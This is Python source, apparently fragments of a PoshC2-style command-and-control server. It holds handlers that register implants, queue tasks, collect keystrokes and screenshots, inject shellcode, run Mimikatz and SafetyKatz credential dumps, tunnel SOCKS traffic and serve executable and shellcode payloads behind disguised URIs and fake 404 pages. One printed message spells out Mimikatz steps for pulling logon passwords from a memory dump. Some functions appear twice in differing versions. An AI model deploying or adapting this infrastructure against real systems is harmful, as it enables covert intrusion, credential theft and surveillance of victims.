command.startswith("createproxypayload"): do_createnewpayload(user, command) continue if command.startswith("createnewpayload"): do_createnewpayload(user, command) continue if command.startswith("createnewshellcode"): do_createnewpayload(user, command, shellcodeOnly=True) continue if command == "help": do_help(user, command) continue if command == "history": do_history(user, command) continue if command.startswith("use "): do_use(user, command) implant_command_loop(command, user) except KeyboardInterrupt: clear() continue except EOFError: new_c2_message("%s logged off." % user) sys.exit(0) except Exception as e: if 'unable to open database file' not in str(e): print_bad("Error: %s" % e) traceback.print_exc()
def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False): now = datetime.datetime.now() all_implants = DB.get_implants_all() if not all_implants: print_bad( "Received post request but no implants in database... has the project been cleaned but you're using the same URLs?" ) return for implant in all_implants: implantID = implant.ImplantID RandomURI = implant.RandomURI Hostname = implant.Hostname encKey = implant.Key Domain = implant.Domain User = implant.User if RandomURI in uriPath and cookieVal: DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI) decCookie = decrypt(encKey, cookieVal) rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if decCookie.startswith("Error"): print(Colours.RED) print("The multicmd errored: ") print(rawoutput) print(Colours.GREEN) return cookieMsg = "" if "-" in decCookie: decCookie = decCookie.strip('\x00') splt = decCookie.split("-") if not splt[0].isdigit(): print(Colours.RED + "[!] Cookie %s is invalid" % decCookie + Colours.GREEN) return else: taskId = str(int(splt[0])) cookieMsg = splt[1] else: taskId = str(int(decCookie.strip('\x00'))) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) if taskId != "99999": executedCmd = DB.get_cmd_from_task_id(taskId) task_owner = DB.get_task_owner(taskId) else: print(Colours.END) timenow = now.strftime("%Y-%m-%d %H:%M:%S") print( f"Background task against implant {implantID} on host {Domain}\\{User} @ {Hostname} ({timenow}) (output appended to %sbackground-data.txt)" % ReportsDirectory) print(Colours.GREEN) print(rawoutput) miscData = open(("%sbackground-data.txt" % ReportsDirectory), "a+") miscData.write(rawoutput) return print(Colours.GREEN) if task_owner is not None: print( "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, task_owner, implantID, Domain, User, Hostname, now.strftime("%Y-%m-%d %H:%M:%S"))) else: print( "Task %s returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implantID, Domain, User, Hostname, now.strftime("%Y-%m-%d %H:%M:%S"))) try: outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput) outputParsed = outputParsed.rstrip() except Exception: pass if cookieMsg is not None and cookieMsg.lower().startswith( "pwrstatusmsg"): translate_power_status(outputParsed, RandomURI) return if "loadmodule" in executedCmd and len(outputParsed.split()) == 0: print("Module loaded successfully") DB.update_task(taskId, "Module loaded successfully") elif "pbind-connect " in executedCmd and "PBind-Connected" in outputParsed or "PBind PBind start" in executedCmd and "PBind-Connected" in outputParsed: outputParsed = re.search("PBind-Connected:.*", outputParsed) outputParsed = outputParsed[0].replace("PBind-Connected: ", "") Domain, User, Hostname, Arch, PID, Proxy = str( outputParsed).split(";") Proxy = Proxy.replace("\x00", "") if "\\" in User: User = User[User.index("\\") + 1:] PivotString = "C# PBind" if "pbind-command run-exe PBind PBind start" in executedCmd: PivotString = "C# PBind Pivot" newImplant = Implant(implantID, PivotString, str(Domain), str(User), str(Hostname), Arch, PID, None) newImplant.save() newImplant.display() newImplant.autoruns() if "pbind-command run-exe PBind PBind start" in executedCmd: DB.new_task("pbind-pivot-loadmodule Stage2-Core.exe", "autoruns", RandomURI) else: DB.new_task("pbind-loadmodule Stage2-Core.exe", "autoruns", RandomURI) elif "fcomm-connect " in executedCmd and "FComm-Connected" in outputParsed: outputParsed = re.search("FComm-Connected:.*", outputParsed) outputParsed = outputParsed[0].replace("FComm-Connected: ", "") Domain, User, Hostname, Arch, PID, Proxy = str( outputParsed).split(";") Proxy = Proxy.replace("\x00", "") if "\\" in User: User = User[User.index("\\") + 1:] newImplant = Implant(implantID, "C# FComm", str(Domain), str(User), str(Hostname), Arch, PID, None) newImplant.save() newImplant.display() newImplant.autoruns() DB.new_task("fcomm-loadmodule Stage2-Core.exe", "autoruns", RandomURI) elif executedCmd.lower().startswith("beacon "): new_sleep = executedCmd.replace('beacon ', '').strip() DB.update_sleep(new_sleep, RandomURI) elif "get-screenshot" in executedCmd.lower(): try: decoded = base64.b64decode(outputParsed) filename = implant.User + "-" + now.strftime( "%m%d%Y%H%M%S_" + randomuri()) output_file = open( '%s%s.png' % (DownloadsDirectory, filename), 'wb') print("Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) DB.update_task( taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) output_file.write(decoded) output_file.close() except Exception: DB.update_task( taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" ) print( "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" ) elif (executedCmd.lower().startswith("$shellcode64")) or ( executedCmd.lower().startswith("$shellcode64")): DB.update_task(taskId, "Upload shellcode complete") print("Upload shellcode complete") elif (executedCmd.lower().startswith( "run-exe core.program core inject-shellcode" )) or (executedCmd.lower().startswith( "pbind-command run-exe core.program core inject-shellcode" )) or (executedCmd.lower().startswith( "pbind-pivot-command run-exe core.program core inject-shellcode" )): DB.update_task(taskId, "Upload shellcode complete") print(outputParsed) elif "download-file" in executedCmd.lower(): try: filename = executedCmd.lower().replace( "download-files ", "") filename = filename.replace("download-file ", "") filename = filename.replace("-source ", "") filename = filename.replace("..", "") filename = filename.replace("'", "") filename = filename.replace('"', "") filename = filename.replace("\\", "/") directory, filename = filename.rsplit('/', 1) filename = filename.rstrip('\x00') original_filename = filename.strip() if not original_filename: directory = directory.rstrip('\x00') directory = directory.replace("/", "_").replace( "\\", "_").strip() original_filename = directory try: if rawoutput.startswith("Error"): print("Error downloading file: ") print(rawoutput) break chunkNumber = rawoutput[:5] totalChunks = rawoutput[5:10] except Exception: chunkNumber = rawoutput[:5].decode("utf-8") totalChunks = rawoutput[5:10].decode("utf-8") if (chunkNumber == "00001") and os.path.isfile( '%s%s' % (DownloadsDirectory, filename)): counter = 1 while (os.path.isfile('%s%s' % (DownloadsDirectory, filename))): if '.' in filename: filename = original_filename[:original_filename .rfind( '.' )] + '-' + str( counter ) + original_filename[ original_filename .rfind('.'):] else: filename = original_filename + '-' + str( counter) counter += 1 if (chunkNumber != "00001"): counter = 1 if not os.path.isfile('%s%s' % (DownloadsDirectory, filename)): print( "Error trying to download part of a file to a file that does not exist: %s" % filename) while (os.path.isfile('%s%s' % (DownloadsDirectory, filename))): # First find the 'next' file would be downloaded to if '.' in filename: filename = original_filename[:original_filename .rfind( '.' )] + '-' + str( counter ) + original_filename[ original_filename .rfind('.'):] else: filename = original_filename + '-' + str( counter) counter += 1 if counter != 2: # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter if '.' in filename: filename = original_filename[:original_filename .rfind( '.' )] + '-' + str( counter - 2 ) + original_filename[ original_filename .rfind('.'):] else: filename = original_filename + '-' + str( counter - 2) else: filename = original_filename print("Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) DB.update_task( taskId, "Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) output_file = open('%s%s' % (DownloadsDirectory, filename), 'ab') try: output_file.write(rawoutput[10:]) except Exception: output_file.write(rawoutput[10:].encode("utf-8")) output_file.close() except Exception as e: DB.update_task(taskId, "Error downloading file %s " % e) print("Error downloading file %s " % e) traceback.print_exc() elif "safetydump" in executedCmd.lower(): rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if rawoutput.startswith("[-]") or rawoutput.startswith( "ErrorCmd"): DB.update_task(taskId, rawoutput) print(rawoutput) else: dumpname = "SafetyDump-Task-%s.b64" % taskIdStr dumppath = "%s%s" % (DownloadsDirectory, dumpname) open(dumppath, 'w').write(rawoutput) message = "Dump written to: %s" % dumppath message = message + "\n The base64 blob needs decoding, e.g. on Windows to use Mimikatz:" message = message + "\n $filename = '.\\%s'" % dumpname message = message + "\n $b64 = Get-Content $filename" message = message + "\n $bytes = [System.Convert]::FromBase64String($b64)" message = message + "\n [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + '\\safetydump.dmp', $bytes)" message = message + "\n ./mimikatz.exe" message = message + "\n sekurlsa::minidump safetydump.dmp" message = message + "\n sekurlsa::logonpasswords" message = message + "\nOr to just decode on Linux:" message = message + f"\n base64 -id {dumpname} > dump.bin" DB.update_task(taskId, message) print(message) elif (executedCmd.lower().startswith("run-exe safetykatz") or "invoke-mimikatz" in executedCmd or executedCmd.lower().startswith("pbind-") or executedCmd.lower().startswith("fcomm-command") or executedCmd.lower().startswith("run-dll sharpsploit") ) and "logonpasswords" in outputParsed.lower(): print("Parsing Mimikatz Output") DB.update_task(taskId, outputParsed) process_mimikatz(outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END) else: DB.update_task(taskId, outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END)
def do_POST(self): try: """Respond to a POST request.""" response_content_len = None response_code = 200 response_content_type = "text/html" response_content = None self.server_version = ServerHeader self.sys_version = "" try: content_length = int(self.headers['Content-Length']) except ValueError: content_length = 0 self.cookieHeader = self.headers.get('Cookie') if self.cookieHeader is not None: cookieVal = self.cookieHeader.replace("SessionID=", "") else: cookieVal = "" post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data) newTaskOutput(self.path, cookieVal, post_data) except Exception as e: if 'broken pipe' not in str(e).lower(): print_bad("Error handling POST request: " + str(e)) traceback.print_exc() finally: try: UriPath = str(self.path) sharplist = [] for implant in sharpurls: implant = implant.replace(" ", "") implant = implant.replace("\"", "") sharplist.append("/" + implant) if [ele for ele in sharplist if(ele in UriPath)]: try: open("%swebserver.log" % PoshProjectDirectory, "a").write("[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath)) r = Request("%s%s" % (SocksHost, UriPath), headers={'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'}) res = urlopen(r, post_data) sharpout = res.read() response_code = res.getcode() response_content_len = len(sharpout) if (len(sharpout) > 0): response_content = sharpout except URLError as e: response_code = 500 response_content_len = len(sharpout) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) except Exception as e: response_code = 404 response_content_len = len(sharpout) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END) HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: response_content = bytes(HTTPResponsePage, "utf-8") else: response_content = bytes(GET_404_Response, "utf-8") else: response_content = default_response() # send response self.send_response(response_code) self.send_header("Content-type", response_content_type) if response_content_len is not None: self.send_header("Connection", "close") self.send_header("Content-Length", response_content_len) self.end_headers() if response_content is not None: self.wfile.write(response_content) except Exception as e: print(Colours.RED + "Generic error in POST request!" + Colours.END) print(Colours.RED + UriPath + Colours.END) print(str(e)) traceback.print_exc()
def handle_pbind_command(command, user, randomuri, implant_id): # convert randomuri to parent randomuri oldrandomuri = randomuri p = get_implantdetails(randomuri) newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group() if newimplant_id is not None: randomuri = get_randomuri(newimplant_id) # alias mapping for alias in cs_alias: if alias[0] == command[:len(command.rstrip())]: command = alias[1] # alias replace for alias in cs_replace: if command.startswith(alias[0]): command = command.replace(alias[0], alias[1]) original_command = command command = command.strip() run_autoloads_sharp(command, randomuri, user, isPBind=True) if command.startswith("searchhistory"): searchterm = (command).replace("searchhistory ", "") with open('%s/.implant-history' % PoshProjectDirectory) as hisfile: for line in hisfile: if searchterm in line.lower(): print(Colours.GREEN + line.replace("+","")) elif command.startswith("searchhelp"): searchterm = (command).replace("searchhelp ", "") helpful = sharp_help.split('\n') for line in helpful: if searchterm in line.lower(): print(Colours.GREEN + line) elif command.startswith("upload-file"): source = "" destination = "" if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination try: destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) uploadcommand = f"upload-file {source} {destination}" new_task(f"pbind-command {uploadcommand}", user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc() elif command.startswith("unhide-implant"): unhide_implant(oldrandomuri) elif command.startswith("hide-implant"): kill_implant(oldrandomuri) elif command.startswith("inject-shellcode"): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: new_task("pbind-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri) except Exception as e: print("Error loading file: %s" % e) elif command.startswith("migrate"): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) migrate(randomuri, user, params) elif command == "kill-implant" or command == "exit": impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not terminated") if ri == "" or ri.lower() == "y": new_task("pbind-kill", user, randomuri) kill_implant(oldrandomuri) elif command == "sharpsocks": from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurls = sharpurls.split(",") sharpurl = select_item("HostnameIP", "C2Server") print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if ri == "": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) if ri.lower() == "y": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) elif (command.startswith("stop-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("", randomuri) elif (command.startswith("start-keystrokes")): check_module_loaded("Logger.exe", randomuri, user) new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("KEYLOG", randomuri) elif (command.startswith("get-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) elif (command.startswith("get-screenshotmulti")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) update_label("SCREENSHOT", randomuri) elif (command.startswith("get-screenshot")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) elif (command == "get-powerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command == "getpowerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command.startswith("stop-powerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("stoppowerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("pslo")): new_task(f"pbind-{command}", user, randomuri) elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command: style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("pbind-command %s payload=%s" % (command,payload), user, randomuri) else: print_bad("Could not find file") elif (command.startswith("get-hash")): check_module_loaded("InternalMonologue.exe", randomuri, user) new_task("pbind-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri) elif (command.startswith("safetykatz")): new_task("pbind-command run-exe SafetyKatz.Program %s" % command, user, randomuri) elif command.startswith("loadmoduleforce"): params = re.compile("loadmoduleforce ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("loadmodule"): params = re.compile("loadmodule ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("listmodules"): modules = os.listdir("%s/Modules/" % PoshInstallDirectory) modules = sorted(modules, key=lambda s: s.lower()) print("") print("[+] Available modules:") print("") for mod in modules: if (".exe" in mod) or (".dll" in mod): print(mod) elif command.startswith("modulesloaded"): ml = get_implantdetails(randomuri) print(ml.ModsLoaded) new_task("pbind-command listmodules", user, randomuri) elif command == "help" or command == "?": print(sharp_help) elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"): new_sleep = command.replace('set-beacon ', '') new_sleep = new_sleep.replace('setbeacon ', '') new_sleep = new_sleep.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print(Colours.RED) print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) else: new_task(f"pbind-command {command}", user, randomuri) else: if command: new_task(f"pbind-command {original_command}", user, randomuri) return
def do_GET(self): try: """Respond to a GET request.""" logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) new_implant_url = get_newimplanturl() self.cookieHeader = self.headers.get('Cookie') self.ref = self.headers.get('Referer') QuickCommandURI = select_item("QuickCommand", "C2Server") UriPath = str(self.path) sharpurls = get_sharpurls().split(",") sharplist = [] for i in sharpurls: i = i.replace(" ", "") i = i.replace("\"", "") sharplist.append("/" + i) self.server_version = ServerHeader self.sys_version = "" if not self.cookieHeader: self.cookieHeader = "NONE" # implant gets a new task new_task = newTask(self.path) if new_task: self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(new_task) elif [ele for ele in sharplist if (ele in UriPath)]: try: open("%swebserver.log" % PoshProjectDirectory, "a").write( "%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath)) r = Request("%s%s" % (SocksHost, UriPath), headers={ 'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent }) res = urlopen(r) sharpout = res.read() self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Connection", "close") self.send_header("Content-Length", len(sharpout)) self.end_headers() if (len(sharpout) > 0): self.wfile.write(sharpout) except HTTPError as e: self.send_response(e.code) self.send_header("Content-type", "text/html") self.send_header("Connection", "close") self.end_headers() open("%swebserver.log" % PoshProjectDirectory, "a").write( "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) except Exception as e: open("%swebserver.log" % PoshProjectDirectory, "a").write( "[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) print( Colours.RED + "Error with SharpSocks or old implant connection - is SharpSocks running" + Colours.END) print(Colours.RED + UriPath + Colours.END) self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: self.wfile.write(bytes(HTTPResponsePage, "utf-8")) else: self.wfile.write(bytes(GET_404_Response, "utf-8")) elif ("%s_bs" % QuickCommandURI) in self.path: filename = "%spayload.bat" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_rp" % QuickCommandURI) in self.path: filename = "%spayload.txt" % (PayloadsDirectory) with open(filename, 'rb') as f: content = base64.b64encode(f.read()) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_rg" % QuickCommandURI) in self.path: filename = "%srg_sct.xml" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%ss/86/portal" % QuickCommandURI) in self.path: filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%ss/64/portal" % QuickCommandURI) in self.path: filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%sp/86/portal" % QuickCommandURI) in self.path: filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%sp/64/portal" % QuickCommandURI) in self.path: filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_cs" % QuickCommandURI) in self.path: filename = "%scs_sct.xml" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_py" % QuickCommandURI) in self.path: filename = "%saes.py" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = "a" + "".join("{:02x}".format(c) for c in content) self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(bytes(content, "utf-8")) elif ("%s_ex86" % QuickCommandURI) in self.path: filename = "%sPosh32.exe" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "application/x-msdownload") self.end_headers() self.wfile.write(content) elif ("%s_ex64" % QuickCommandURI) in self.path: filename = "%sPosh64.exe" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "application/x-msdownload") self.end_headers() self.wfile.write(content) # register new implant elif new_implant_url in self.path and self.cookieHeader.startswith( "SessionID"): implant_type = "PS" if self.path == ("%s?p" % new_implant_url): implant_type = "PS Proxy" if self.path == ("%s?d" % new_implant_url): implant_type = "PS Daisy" if self.path == ("%s?m" % new_implant_url): implant_type = "Python" if self.path == ("%s?d?m" % new_implant_url): implant_type = "Python Daisy" if self.path == ("%s?p?m" % new_implant_url): implant_type = "Python Proxy" if self.path == ("%s?c" % new_implant_url): implant_type = "C#" if self.path == ("%s?d?c" % new_implant_url): implant_type = "C# Daisy" if self.path == ("%s?p?c" % new_implant_url): implant_type = "C# Proxy" if implant_type.startswith("C#"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) Domain, User, Hostname, Arch, PID, Proxy = decCookie.split( ";") Proxy = Proxy.replace("\x00", "") if "\\" in User: User = User[User.index("\\") + 1:] newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy) newImplant.save() newImplant.display() newImplant.autoruns() responseVal = encrypt(KEY, newImplant.SharpCore) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(responseVal) elif implant_type.startswith("Python"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) User, Domain, Hostname, Arch, PID, Proxy = decCookie.split( ";") Proxy = Proxy.replace("\x00", "") newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy) newImplant.save() newImplant.display() responseVal = encrypt(KEY, newImplant.PythonCore) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(responseVal) else: try: cookieVal = (self.cookieHeader).replace( "SessionID=", "") decCookie = decrypt(KEY.encode("utf-8"), cookieVal) decCookie = str(decCookie) Domain, User, Hostname, Arch, PID, Proxy = decCookie.split( ";") Proxy = Proxy.replace("\x00", "") IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) if "\\" in str(User): User = User[str(User).index('\\') + 1:] newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy) newImplant.save() newImplant.display() newImplant.autoruns() responseVal = encrypt(KEY, newImplant.PSCore) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(responseVal) except Exception as e: print("Decryption error: %s" % e) traceback.print_exc() self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: self.wfile.write(bytes(HTTPResponsePage, "utf-8")) else: self.wfile.write(bytes(GET_404_Response, "utf-8")) else: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: self.wfile.write(bytes(HTTPResponsePage, "utf-8")) else: self.wfile.write(bytes(GET_404_Response, "utf-8")) except Exception as e: if 'broken pipe' not in str(e).lower(): print_bad("Error handling GET request: " + e) traceback.print_exc()
def do_POST(self): """Respond to a POST request.""" try: self.server_version = ServerHeader self.sys_version = "" try: content_length = int(self.headers['Content-Length']) except: content_length = 0 self.cookieHeader = self.headers.get('Cookie') try: cookieVal = (self.cookieHeader).replace("SessionID=", "") except: cookieVal = "" post_data = self.rfile.read(content_length) logging.info( "POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data) now = datetime.datetime.now() result = get_implants_all() if not result: print_bad( "Received post request but no implants in database... has the project been cleaned but you're using the same URLs?" ) return for i in result: implantID = i[0] RandomURI = i[1] Hostname = i[3] encKey = i[5] Domain = i[11] User = i[2] if RandomURI in self.path and cookieVal: update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) decCookie = decrypt(encKey, cookieVal) rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if decCookie.startswith("Error"): print(Colours.RED) print("The multicmd errored: ") print(rawoutput) print(Colours.GREEN) return taskId = str(int(decCookie.strip('\x00'))) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) executedCmd = get_cmd_from_task_id(taskId) task_owner = get_task_owner(taskId) print(Colours.GREEN) if task_owner is not None: print( "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, task_owner, implantID, Domain, User, Hostname, now.strftime("%d/%m/%Y %H:%M:%S"))) else: print( "Task %s returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implantID, Domain, User, Hostname, now.strftime("%d/%m/%Y %H:%M:%S"))) try: outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput) outputParsed = outputParsed.rstrip() except Exception: pass if "loadmodule" in executedCmd: print("Module loaded successfully") update_task(taskId, "Module loaded successfully") elif executedCmd.lower().startswith("beacon "): new_sleep = executedCmd.replace('beacon ', '').strip() update_sleep(new_sleep, RandomURI) elif "get-screenshot" in executedCmd.lower(): try: decoded = base64.b64decode(outputParsed) filename = i[3] + "-" + now.strftime( "%m%d%Y%H%M%S_" + randomuri()) output_file = open( '%s%s.png' % (DownloadsDirectory, filename), 'wb') print("Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) update_task( taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) 